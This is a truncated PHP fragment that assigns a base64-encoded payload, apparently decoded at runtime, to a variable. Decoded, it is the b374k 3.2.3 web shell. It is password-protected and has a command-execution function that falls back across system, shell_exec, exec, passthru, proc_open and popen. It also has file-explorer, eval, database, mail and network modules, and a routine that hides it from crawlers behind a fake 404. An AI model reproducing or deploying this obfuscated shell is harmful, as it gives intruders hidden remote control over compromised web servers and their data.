$b = $a('Ci8qCgliMzc0ayBzaGVsbCAzLjIuMwoJSmF5YWxhaCBJbmRvbmVzaWFrdQoJKGMpMjAxNAoJaHR0cHM6Ly9naXRodWIuY29tL2IzNzRrL2IzNzRrCgoqLwokR0xPQkFMU1sncGFzcyddID0gImZiNjIxZjUwNjBiOWY2NWFjZjhlYjQyMzJlMzAyNDE0MGRlYTJiMzQiOyAvLyBzaGExKG1kNShwYXNzKSkKJEdMT0JBTFNbJ21vZHVsZV90b19sb2FkJ10gPSBhcnJheSgiZXhwbG9yZXIiLCAidGVybWluYWwiLCAiZXZhbCIsICJjb252ZXJ0IiwgImRhdGFiYXNlIiwgImluZm8iLCAibWFpbCIsICJuZXR3b3JrIiwgInByb2Nlc3NlcyIpOyRHTE9CQUxTWydyZXNvdXJjZXMnXVsnYjM3NGsnXSA9ICJoVlhacnJNNEVuNmdqQVJoQzh5b0w5aFhROWdEZDJ4aEo1eXc4L1RqL09lZjd0UFNTRzNKd2paVlh5MWZsWjBuYy9MdnVrL0tBaG1IOGo5cE1oVVU4YTg2NEN4blEzVzVmTEZ3bUs1ZmlYNEpWOXhueTlvOEczMitUeHBocXM5Q2ZqaFNxRGhlaXNWb2prbEhiSE5jTEROMTdISmFHa3BESEdoZEZEcGtsblhkL2FOd2FHTWdWV2dvWG9IVm0ydnFrdFczUEVta0QvWjdDQnRTS0Z3VllYT1g4MXdkaC9tWU5taDl1eTJJV25OakxLQjFjQVltRUsrYmpRV3Z4SytvckErOG9pWDlDQi9mMGRtMWFrTmZWR0VucktHYU0vbmE1YkpZRnZKMVNnZEFGVkFmK3JSR3ZVOTk5bWtZb0pGTDE2cFNVbEJteStXSlVWdXBUVEd0VTZYSzlIbE9TSEc0RnZ3RkhOY0dDT0t1Q2hGbU5DSnFlaEVHM0swRURidURtdDQrMDZ6UjNSUmVWN041SGViQmxpci9lelpFZVZlME5tNUcxeEdqUC8zSmVxZS91OW9yVjV6TnF1azF4M1BjR0xMVDZKa2pQdWpkOGxyU09ObkRPTlhEZUVEOStub1dJWWxHajNLRytzMFBYREYrbUUzV2R6Q0diazFyN29qbGlJcENiYzBmTnFQVzZsODVnSEgrdEFuUGx0ODVXU0tNbVEyOHFqS2UzbzJHWFdIT2lUVGNsK3djSVVlYzZYbG9uU2dPbWdtdjFjQkk2T2Qzcm94ZmZESkU5R0JYNEJLYmdWMW40L2pMWm9ZN2JoeEdqTnBYYUs2d2xIRXdTM2I4eVgrVFl1aGF5Tkptbk9JQ2VPWU1sRzZMWGNhRk1VSC90ZVpUUzNFTklFK1FVMkVVSU9kVkxqTkhJRE5yQ2ptMXYvMHZmYmxhNGZtWnlNeW1pcVpuMXV3cndMb0Yyc0d6by8zV0Y2K20xWFlMOUtsS2U3TnpmWmlmVDYzdzVKaUVOZ1ZhUnpJaHgwQ3dDU0NVQi9Ba0NhQ1M0QWc1WjZMZ3REeDJOODlZc3Yzb0J4NjBqd2R6RExuNWdkZitIYy8vUjd4N3pkSWZmandmcFJ3NU9KSkgzTVZpZk1EOGxMOXpTQ1VoZWVheUJMa0tOQWZHL3BFMytnNzJ4dXR3UkI4MW0yZ0RUYmxaZ3JvRDN6OXQzeFJOVk1UdEU1Q3dmbkd6RFRnSDFzUC84R0J1bWp5OGR1bmcvTUJ6L281My9pUGUrdkhkd1A5UExYNXFsR2QrMWFQZk92SzMzSGUvL2VvL0QvNFhHQ0tUcFNiQkFsU1ZnK1hUNTFtdEl2ZUY4a1B0Yysvb2grczdYS0EweVZNeWMxY3pLMG01RmNpekV0cDNqOVVvYm8vVnRGZVJXd0xWTDlXaXJuVUtjWGxXOTNTemsxN2l6RGxQY1gxRUZiaWdzZzFtNEJ1M0w3ZjhjbEdiTjNWUGNLbE1DK1dhR3NqYkxWNXhwTGlrRndZbjRuSy9Qd1V1eDVzN1RlN25NRmpXdVR4UHd1WGZOK2ZXRHJwVkVrVVM1RXg0NThvcGpoRGNqTE5RUXowNVNmUmlpYy95eEpZQ2xKSjBHYWx3TUZDTGJVNmdYNTUwZTlsS1luL3NKbk1WeUdHaVh5M05Pd3JwWXZLcmRHbUYwOXZydnVTWGhlUFViZXpKODNEV0VMbE1DcXN0Z0I2bU4xREZUcWxSSkZIWVh1b1FTOFZDNTdDSzlhMGowYVpKTHdFdE1xbDlobk0xQ3FhalhQbHNKbUxyZEpLeWV5RENGRjI4elB6eS9Cd2JLN0Y1WGEwNkxFbGQ5eXZOUzVlRWVuamV6ZFZYdHpOR09lUW93VytXMEM1Q3BDZHFUUTJyRnkyc25IZkI1dExheG5qYUFUTDN5RFF3M250SzNwZ0Z2cWkzRmVDUEs3TU5tZWFicmpnTnVqdUY5WE5IT1QzeXlyd1M5bG8wdVdjVDg4dXVGYzBERFlubk82N1oySXo5WUEvMDZObG54Nko3NnBXTWQzMGpWUFpHSkR5djFxRDRpb1Z4RHRVbG9DOFYyejRzU0M5VEpJWjV2RmZybVkrRVBDSlNvM2NqY0ZNRGRCR1dWM3pDWitMZ2ErVk1UaEpoZjdXdHFrOENPOHVQZ2JGZHIrcEFML0VsWGZxOWFJenRvMlFZNldWdXBhaGhEY2VGNDR1N0kvVEUzMWhRSTJLRWlLdmhjN2JHanhid0dPeGFDVEtwdFdyWjNYTWF1WW1xTkxvVmI0UGh6VWJUTzBSTFEzVDh6VE9mSzN3amsrNlY1MkcvTGhocDd0NjVKaklGUk1NSkhqcmlsZ2I5VkdLR2JTYkE2LzRwZlhHVjI5Z3gyNzU1YXEyL2p1T2lHdm51MzI1a3F1RHNQVWk3RUcvd082ekhqRWhsVlRIdjhHNGhjamFUOG5ucVBQUm1oZGxhT1lHbXJzRmNvZ2d6Vk5wYkJsOWY0VGxLNmJXUW9xVU9ubm5LOHBsc2Rlc1o3V2htRlZzU3VQT3gxQkhwNDVvVXBFbFY3WGhoRS9UWXZmRlhLc3pLbDd0N1RrenB6Sk84bDZ6STlraTFzb0xheXBiOTZ3bDMvY0J5ZEpLUFZQV1Avd0k9IjsKJEdMT0JBTFNbJ3Jlc291cmNlcyddWydtaW1lJ10gPSAiZFpUaGRxTWdFSVgvN3puN0R2TUMyalo2MnQzSG1RZ2FHa2VwQ0RGdnZ4ZU5pczMyeHgzaHV3TVltVWt3U3ZjdlJXTXRJZnorRmJiNUNlQzBnc3ZwL1kxaVNFQVJRWkdBTW9KeUJaOVdOL1JwbTdBRG9VV05yRXcrVDdUSWJtZUpMZW1oZ05DVXU0RWRIMkVla0x3aDQ3U2QwRGNOOWZ1Qlg5NVUxOUdJcHErUnBOOTQ2RlN1ZEtYeml5SWZMbEM0UEhuU24wMnI0VW4wNWNtM2NhMk5ubjN5WFBSYzlOeVROMCtqRlhWOHBYRE82M2dtQmltdncwaFFpdUpIOEVOTE1ubVMwaDhzbDltVzc0Tm1kYzlGSzhPNXZRZUMwaXljN2ZQNGtYM3c4VVVPV3dRVGVrSlkyVTJmaFdKWXdaVFZ1Qm9vQWEwaEtBWElhSk1NaWJlWkxoRWVoOTVkbWVRSzUxb29CSmZZSGU2NGF4TGdNblkxTFpvT1BQUm5nZzdzaG5lV2J5UUFoVzlzQWp2dWRndGc0Y0NXVytPUS9FRFhtQXhGWlRUTk1URndqSXZIc0ZlbWYyRmxLeUhFRlp6Wm1ZcllrK3ZVeXNRb1F3ZzBENjQ4MENCbU01ZG00SDIrdEFDK0hMb1Vpb01DallCbnNXVXR6Y0FVbjg1T0szYUZFTFJOVFhzbGhIVysxZWs4Uldsd0xBOCsyS1l4STdmWnpYVEtrZTZQYXdjbTZJQkdSOUEzRkpzUGo0dEtlZXNyM1kxNTZFMmxxUTAyOWY1YjJJekNQaHpXZVQxd2poL1EydkxQNnl0dG94K1NQc3FQUjFJYy9aRDA5MzNkS1k3U3BNRllnbGEwZHNyMlNsUEdqTHZtS2dHbVJnR2JXWE5JdklwcmduWlF0MWdldzQ2U3RrbU8yZjRSQ3A5QTFES2psbms2TW1IVWZMTFlkaGsrYTd0YytjQkN3dzhtYnNBM3BrTngyajNoeG1ncjN1cDlFcHJrSHc9PSI7CiRHTE9CQUxTWydyZXNvdXJjZXMnXVsnYXJyb3cnXSA9ICJGWlhIRHF0WURJWWZLQ1BSUzJaMEY0Y1NlbStCSGZWUUE2SEQwMCt1Ri9abnkyWHpTeTdTTmYyM0dWSllJdE1IL3BlbFMwbVQvelFoWjdrSHFrbHdCRDh6dmFBV0EvZ2ovbThLSUEvaVgrRHU4ak9qZnd2OG0xT2l0L0dqeGZzNVhZU3lSN3daOXNkaUxQYWlFN3J4d1ladkR6M3owRzBmTjlQdDFQcWlETHV5Umd6QTdzVnBvMk52TDNDZHk2cDFlU1MzVW0yMWVacWZXMnVjNlhjOVNUWWpHMEU4enliWjNseFlyR0xnbWlqNkZUZ0Qrb0UxZkh6UnlCOUlYcElGbFQrNko4WEFSTlJpdnFBRUx5Tlc2OTRmQllLZ2RRNTRpMlJxdU9nb0l3T3FFcFJLNkc2NnFrNEhqRkNBV1g5TlJwNWNVNmhNc2R2U1FoaUdDWHI3SG1meWwvVGFSOUt3akR4bGRXTnA5d3g3enV4MnNZMHVXVUFCRHhVUVdob0cyRHQ4V2xPWUl1SDhmanBlajBsMEFnM2swMUFIWXlMTk5vN2V4ekFTN2pjelRrNW9vZ3pObEVUVkw1ZzJUY0xZUUk3bjV5KzlkUlh6Z040ejE5ZktyNG1QQ3NMbStaNGZoYzluRmFiN09Sak1KU09hckgwWHhKTThiTUhCS2hFTnpncmVFbkI0UndGTmdVYjF3bTZ5TUZkOXN5UnQwclBDaEZKNGU3RDJtZDYzL2N6RkUrQjJMc054RXBrd1plTG50U1V1VXl1Q1RaR2IwYllNQmk5UGZUM0FDYUsvZllkVUU4R3pldUxYYkkwV2lJL3pSVDdzbldNVjd2WGMwQkxGd1F2SWZTWUtqZ3RvSWlLSk84cmVGVjRhaG5NQTFKUmRLeDFITWl5eU1vWm5NZ1FYN1cySmI0L3R1ZGFEUnRKT1VnWlk1RkFGYnBFbllRaUFCRVU1RStYeUt1M3BxUml6aDY3NkIyOVNzeWsxWlpjWndMS3dsbXM1aWdjbk9wMSsxZWtTU1FLOUx2MFMyWm5IOTJqcmdFYmpOMGI5ZE80NE9LNFo0bUljMlZ4b3h4WmVwek8rV0x6Y0pycmE4d1lHNVJLcUROZTN3K09EUW5yUHprK095Wm8rejhrTDhISzNYTmhjYzdDeTkyY1ZZVzNXc1ZacFN6WkNWRW9wTWxVdW4vWGxPRnpUV25WcHQ4U2hBRm1ac3hWQjNzTldrdkxBVVN4ZHloV01nZWExeUg0akpWQmIzUWFBRlByeFUzdjZWRDdEc0ZwT0NWeFN3UlpzVEZzdzZHYTFxRm1WVXhTM3RWOVdqSmtoa3haQU1hSExBNyswTko3ZHk5YWJrbXFocHBSOW9BWUlKTTlnM09IVEQrOCt3UXRrWU1DaUhTeFF4TUV6V3Zra3RLUHpnc2tmZC9GM200V0gwOWxBZlV0VGhRK0pBMnBNdmJuSjZ0OFNMd2R0elh2UjQ3WmUwWjBWa0M1RjZjN2VTeGw2bjgvcHVkSVlHbDg5TWl0eklIRXVYeFZZRDNKK3F0OW9RNFBKcXNRakVPZXdldEhaRVVmOFVDUllqSHc3dm14b2UwQmp0eDU5cDRQZnRSckRxWERSWFRMcVExTkdMVkU2MTNQVlpteWFpUmU2U25WOWI4U0NkQTkxQjdhMWhCOFJTM3hXSElYZFk2VDlUd0NjMHhSaTNJWkdUQjc0VlNzNnJMa3JYVm0walZqalFOc3RFejNEQ05PcFZ5M1hrOTFjVkp4YmFPS0ViRnZyUUN5MmZ4U1V6aGFudlBxNWJtY2NOV1RQRzNVYk1zWG9QV1NTNVRUVHZvL1c4THNpWjZTZHpkbTJxR1NxSmFwdnVuY2IvamxJMWM0aTYwTk41M1Rhc29nd0wwYS9HRm55RjRsZ2lHWFcyTjdCTnlMNUVFeVFBNDJMZFp0YW8yUzlmK3JlQTA0UURiYUVRdFJnMFlSbGIvRTBrc3ljaTRNTTFIbFZ2dnFRbHowYXFNWGVzc2x2cXo3WTRiYUwwV3ZOSHZmbFJuTE54TFI1SUZmYjlLclpUOTdMb3R6OE9GdEpKajl1Z1NGaFZZeTluemN1UnZDK3ZiRjZ6ZHJXcFl0UGVrK3J4amFlTW9nNHB2T0liSjN3T1RRbUZiM2QvYXROOUhWN1pzdVpGQUlSbmdoMG9WUUtaWGIrZmdCT2RRTktuRHNWUXZqbnovOD0iOwokR0xPQkFMU1sndmVyJ10gPSAiMy4yLjMiOwokR0xPQkFMU1sndGl0bGUnXSA9ICJiMzc0ayI7CgpAb2Jfc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKEVfRVJST1IgfCBFX1dBUk5JTkcgfCBFX1BBUlNFIHwgRV9OT1RJQ0UpOwpAaW5pX3NldCgnaHRtbF9lcnJvcnMnLCcwJyk7CkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzEnKTsKQGluaV9zZXQoJ2Rpc3BsYXlfc3RhcnR1cF9lcnJvcnMnLCcxJyk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywnMCcpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBjbGVhcnN0YXRjYWNoZSgpOwoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXV0aCcpKXsKCWZ1bmN0aW9uIGF1dGgoKXsKCQlpZihpc3NldCgkR0xPQkFMU1sncGFzcyddKSAmJiAodHJpbSgkR0xPQkFMU1sncGFzcyddKSE9JycpKXsKCQkJJGMgPSAkX0NPT0tJRTsKCQkJJHAgPSAkX1BPU1Q7CgkJCWlmKGlzc2V0KCRwWydwYXNzJ10pKXsKCQkJCSR5b3VyX3Bhc3MgPSBzaGExKG1kNSgkcFsncGFzcyddKSk7CgkJCQlpZigkeW91cl9wYXNzPT0kR0xPQkFMU1sncGFzcyddKXsKCQkJCQlzZXRjb29raWUoInBhc3MiLCAkeW91cl9wYXNzLCB0aW1lKCkrMzYwMDAsICIvIik7CgkJCQkJaGVhZGVyKCJMb2NhdGlvbjogIi5nZXRfc2VsZigpKTsKCQkJCX0KCQkJfQoKCQkJaWYoIWlzc2V0KCRjWydwYXNzJ10pIHx8ICgoaXNzZXQoJGNbJ3Bhc3MnXSkmJigkY1sncGFzcyddIT0kR0xPQkFMU1sncGFzcyddKSkpKXsKCQkJCSRyZXMgPSAiPCFkb2N0eXBlIGh0bWw+CgkJPGh0bWw+CgkJPGhlYWQ+CgkJPG1ldGEgY2hhcnNldD0ndXRmLTgnPgoJCTxtZXRhIG5hbWU9J3JvYm90cycgY29udGVudD0nbm9pbmRleCwgbm9mb2xsb3csIG5vYXJjaGl2ZSc+CgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vLCB1c2VyLXNjYWxhYmxlPTAnPgoJCTwvaGVhZD4KCQk8Ym9keSBzdHlsZT0nYmFja2dyb3VuZDojZjhmOGY4O2NvbG9yOiMwMDAwMDA7cGFkZGluZzowO21hcmdpbjowOyc+PGJyPjxwPjxjZW50ZXI+PG5vc2NyaXB0PllvdSBuZWVkIHRvIGVuYWJsZSBqYXZhc2NyaXB0PC9ub3NjcmlwdD48L2NlbnRlcj48L3A+CgkJPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgoJCXZhciBkID0gZG9jdW1lbnQ7CgkJZC53cml0ZShcIjxicj48YnI+PGZvcm0gbWV0aG9kPSdwb3N0Jz48Y2VudGVyPjxpbnB1dCB0eXBlPSdwYXNzd29yZCcgaWQ9J3Bhc3MnIG5hbWU9J3Bhc3MnIHN0eWxlPSdmb250LXNpemU6MzRweDt3aWR0aDozNCU7b3V0bGluZTpub25lO3RleHQtYWxpZ246Y2VudGVyO2JhY2tncm91bmQ6I2ZmZmZmZjtwYWRkaW5nOjhweDtib3JkZXI6MXB4IHNvbGlkICNjY2NjY2M7Ym9yZGVyLXJhZGl1czo4cHg7Y29sb3I6IzAwMDAwMDsnPjwvY2VudGVyPjwvZm9ybT5cIik7CgkJZC5nZXRFbGVtZW50QnlJZCgncGFzcycpLmZvY3VzKCk7CgkJZC5nZXRFbGVtZW50QnlJZCgncGFzcycpLnNldEF0dHJpYnV0ZSgnYXV0b2NvbXBsZXRlJywgJ29mZicpOwoJCTwvc2NyaXB0PgoJCTwvYm9keT48L2h0bWw+CgkJIjsKCQkJCWVjaG8gJHJlczsKCQkJCWRpZSgpOwoJCQl9CgkJfQoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfc2VydmVyX2luZm8nKSl7CglmdW5jdGlvbiBnZXRfc2VydmVyX2luZm8oKXsKCQkkc2VydmVyX2FkZHIgPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOiRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKCQkkc2VydmVyX2luZm9bJ2lwX2FkcnJlc3MnXSA9ICJTZXJ2ZXIgSVAgOiAiLiRzZXJ2ZXJfYWRkci4iIDxzcGFuIGNsYXNzPSdzdHJvbmcnPnw8L3NwYW4+IFlvdXIgSVAgOiAiLiRfU0VSVkVSWydSRU1PVEVfQUREUiddOwoJCSRzZXJ2ZXJfaW5mb1sndGltZV9hdF9zZXJ2ZXInXSA9ICJUaW1lIDxzcGFuIGNsYXNzPSdzdHJvbmcnPkA8L3NwYW4+IFNlcnZlciA6ICIuQGRhdGUoImQgTSBZIEg6aTpzIix0aW1lKCkpOwoJCSRzZXJ2ZXJfaW5mb1sndW5hbWUnXSA9IHBocF91bmFtZSgpOwoJCSRzZXJ2ZXJfc29mdHdhcmUgPSAoZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSE9JycpPyBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLiIgPHNwYW4gY2xhc3M9J3N0cm9uZyc+fDwvc3Bhbj4gIjonJzsKCQkkc2VydmVyX2luZm9bJ3NvZnR3YXJlJ10gPSAkc2VydmVyX3NvZnR3YXJlLiIgIFBIUCAiLnBocHZlcnNpb24oKTsJCQoJCXJldHVybiAkc2VydmVyX2luZm87Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9zZWxmJykpewoJZnVuY3Rpb24gZ2V0X3NlbGYoKXsKCQkkcXVlcnkgPSAoaXNzZXQoJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKSYmKCFlbXB0eSgkX1NFUlZFUlsiUVVFUllfU1RSSU5HIl0pKSk/Ij8iLiRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXToiIjsKCQlyZXR1cm4gaHRtbF9zYWZlKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLiRxdWVyeSk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9wb3N0JykpewoJZnVuY3Rpb24gZ2V0X3Bvc3QoKXsKCQlyZXR1cm4gZml4X21hZ2ljX3F1b3RlKCRfUE9TVCk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9uYXYnKSl7CglmdW5jdGlvbiBnZXRfbmF2KCRwYXRoKXsKCQlyZXR1cm4gcGFyc2VfZGlyKCRwYXRoKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2N3ZCcpKXsKCWZ1bmN0aW9uIGdldF9jd2QoKXsKCQkkY3dkID0gZ2V0Y3dkKCkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQlpZighaXNzZXQoJF9DT09LSUVbJ2N3ZCddKSl7CgkJCXNldGNvb2tpZSgiY3dkIiwgJGN3ZCk7CgkJfQoJCWVsc2V7CgkJCSRjd2RfYyA9IHJhd3VybGRlY29kZSgkX0NPT0tJRVsnY3dkJ10pOwoJCQlpZihpc19kaXIoJGN3ZF9jKSkgJGN3ZCA9IHJlYWxwYXRoKCRjd2RfYykuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJZWxzZSBzZXRjb29raWUoImN3ZCIsICRjd2QpOwoJCX0KCQlyZXR1cm4gJGN3ZDsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnd3JhcF93aXRoX3F1b3RlcycpKXsKCWZ1bmN0aW9uIHdyYXBfd2l0aF9xdW90ZXMoJHN0cil7CgkJcmV0dXJuICJcIiIuJHN0ci4iXCIiOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfcmVzb3VyY2UnKSl7CglmdW5jdGlvbiBnZXRfcmVzb3VyY2UoJHR5cGUpewoJCWlmKGlzc2V0KCRHTE9CQUxTWydyZXNvdXJjZXMnXVskdHlwZV0pKXsKCQkJcmV0dXJuIGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRHTE9CQUxTWydyZXNvdXJjZXMnXVskdHlwZV0pKTsKCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdibG9ja19ib3QnKSl7CglmdW5jdGlvbiBibG9ja19ib3QoKXsKCQkvLyBibG9jayBzZWFyY2ggZW5naW5lIGJvdAoJCWlmKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgJiYgKHByZWdfbWF0Y2goJy9ib3R8c3BpZGVyfGNyYXdsZXJ8c2x1cnB8dGVvbWF8YXJjaGl2ZXx0cmFja3xzbm9vcHl8amF2YXxsd3B8d2dldHxjdXJsfGNsaWVudHxweXRob258bGlid3d3L2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSl7CgkJCWhlYWRlcigiSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCIpOwoJCQloZWFkZXIoIlN0YXR1czogNDA0IE5vdCBGb3VuZCIpOwoJCQlkaWUoKTsKCQl9CgkJZWxzZWlmKCFpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXsKCQkJaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7CgkJCWhlYWRlcigiU3RhdHVzOiA0MDQgTm90IEZvdW5kIik7CgkJCWRpZSgpOwoJCX0KCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnaXNfd2luJykpewoJZnVuY3Rpb24gaXNfd2luKCl7CgkJcmV0dXJuIChzdHJ0b2xvd2VyKHN1YnN0cihwaHBfdW5hbWUoKSwwLDMpKSA9PSAid2luIik/IHRydWUgOiBmYWxzZTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZml4X21hZ2ljX3F1b3RlJykpewoJZnVuY3Rpb24gZml4X21hZ2ljX3F1b3RlKCRhcnIpewoJCSRxdW90ZXNfc3liYXNlID0gc3RydG9sb3dlcihpbmlfZ2V0KCdtYWdpY19xdW90ZXNfc3liYXNlJykpOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKSAmJiBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJaWYoaXNfYXJyYXkoJGFycikpewoJCQkJZm9yZWFjaCgkYXJyIGFzICRrPT4kdil7CgkJCQkJaWYoaXNfYXJyYXkoJHYpKSAkYXJyWyRrXSA9IGNsZWFuKCR2KTsKCQkJCQllbHNlICRhcnJbJGtdID0gKGVtcHR5KCRxdW90ZXNfc3liYXNlKSB8fCAkcXVvdGVzX3N5YmFzZSA9PT0gJ29mZicpPyBzdHJpcHNsYXNoZXMoJHYpIDogc3RyaXBzbGFzaGVzKHN0cl9yZXBsYWNlKCJcJ1wnIiwgIlwnIiwgJHYpKTsKCQkJCX0KCQkJfQoJCX0KCQlyZXR1cm4gJGFycjsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZXhlY3V0ZScpKXsKCWZ1bmN0aW9uIGV4ZWN1dGUoJGNvZGUpewoJCSRvdXRwdXQgPSAiIjsKCQkkY29kZSA9ICRjb2RlLiIgMj4mMSI7CgoJCWlmKGlzX2NhbGxhYmxlKCdzeXN0ZW0nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsKCQkJb2Jfc3RhcnQoKTsKCQkJQHN5c3RlbSgkY29kZSk7CgkJCSRvdXRwdXQgPSBvYl9nZXRfY29udGVudHMoKTsKCQkJb2JfZW5kX2NsZWFuKCk7CgkJCWlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7CgkJfQoJCWVsc2VpZihpc19jYWxsYWJsZSgnc2hlbGxfZXhlYycpICYmIGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsKCQkJJG91dHB1dCA9IEBzaGVsbF9leGVjKCRjb2RlKTsKCQkJaWYoIWVtcHR5KCRvdXRwdXQpKSByZXR1cm4gJG91dHB1dDsKCQl9CgkJZWxzZWlmKGlzX2NhbGxhYmxlKCdleGVjJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpewoJCQlAZXhlYygkY29kZSwkcmVzKTsKCQkJaWYoIWVtcHR5KCRyZXMpKSBmb3JlYWNoKCRyZXMgYXMgJGxpbmUpICRvdXRwdXQgLj0gJGxpbmU7CgkJCWlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7CgkJfQoJCWVsc2VpZihpc19jYWxsYWJsZSgncGFzc3RocnUnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpewoJCQlvYl9zdGFydCgpOwoJCQlAcGFzc3RocnUoJGNvZGUpOwoJCQkkb3V0cHV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7CgkJCW9iX2VuZF9jbGVhbigpOwoJCQlpZighZW1wdHkoJG91dHB1dCkpIHJldHVybiAkb3V0cHV0OwoJCX0KCQllbHNlaWYoaXNfY2FsbGFibGUoJ3Byb2Nfb3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpewoJCQkkZGVzYyA9IGFycmF5KAoJCQkJMCA9PiBhcnJheSgicGlwZSIsICJyIiksCgkJCQkxID0+IGFycmF5KCJwaXBlIiwgInciKSwKCQkJCTIgPT4gYXJyYXkoInBpcGUiLCAidyIpKTsKCQkJJHByb2MgPSBAcHJvY19vcGVuKCRjb2RlLCAkZGVzYywgJHBpcGVzLCBnZXRjd2QoKSwgYXJyYXkoKSk7CgkJCWlmKGlzX3Jlc291cmNlKCRwcm9jKSl7CgkJCQl3aGlsZSgkcmVzID0gZmdldHMoJHBpcGVzWzFdKSl7CgkJCQkJaWYoIWVtcHR5KCRyZXMpKSAkb3V0cHV0IC49ICRyZXM7CgkJCQl9CgkJCQl3aGlsZSgkcmVzID0gZmdldHMoJHBpcGVzWzJdKSl7CgkJCQkJaWYoIWVtcHR5KCRyZXMpKSAkb3V0cHV0IC49ICRyZXM7CgkJCQl9CgkJCX0KCQkJQHByb2NfY2xvc2UoJHByb2MpOwoJCQlpZighZW1wdHkoJG91dHB1dCkpIHJldHVybiAkb3V0cHV0OwoJCX0KCQllbHNlaWYoaXNfY2FsbGFibGUoJ3BvcGVuJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKXsKCQkJJHJlcyA9IEBwb3BlbigkY29kZSwgJ3InKTsKCQkJaWYoJHJlcyl7CgkJCQl3aGlsZSghZmVvZigkcmVzKSl7CgkJCQkJJG91dHB1dCAuPSBmcmVhZCgkcmVzLCAyMDk2KTsKCQkJCX0KCQkJCXBjbG9zZSgkcmVzKTsKCQkJfQoJCQlpZighZW1wdHkoJG91dHB1dCkpIHJldHVybiAkb3V0cHV0OwoJCX0KCQlyZXR1cm4gIiI7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2h0bWxfc2FmZScpKXsKCWZ1bmN0aW9uIGh0bWxfc2FmZSgkc3RyKXsKCQlyZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkc3RyLCAyIHwgMSk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3BhcnNlX2RpcicpKXsKCWZ1bmN0aW9uIHBhcnNlX2RpcigkcGF0aCl7CgkJJHBhdGggPSByZWFscGF0aCgkcGF0aCkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkkcGF0aHMgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsICRwYXRoKTsKCQkkcmVzID0gIiI7CgkJZm9yKCRpID0gMDsgJGkgPCBzaXplb2YoJHBhdGhzKS0xOyAkaSsrKXsKCQkJJHggPSAiIjsKCQkJZm9yKCRqID0gMDsgJGogPD0gJGk7ICRqKyspICR4IC49ICRwYXRoc1skal0uRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJJHJlcyAuPSAiPGEgY2xhc3M9J25hdmJhcicgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkeCkuIic+Ii5odG1sX3NhZmUoJHBhdGhzWyRpXSkuIiAiLkRJUkVDVE9SWV9TRVBBUkFUT1IuIiA8L2E+IjsKCQl9CgkJaWYoaXNfd2luKCkpICRyZXMgPSBnZXRfZHJpdmVzKCkuJHJlczsKCQlyZXR1cm4gdHJpbSgkcmVzKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnemlwJykpewoJZnVuY3Rpb24gemlwKCRmaWxlcywgJGFyY2hpdmUpewoJCSRzdGF0dXMgPSBmYWxzZTsKCQlpZighZXh0ZW5zaW9uX2xvYWRlZCgnemlwJykpIHJldHVybiAkc3RhdHVzOwoJCWlmKGNsYXNzX2V4aXN0cygiWml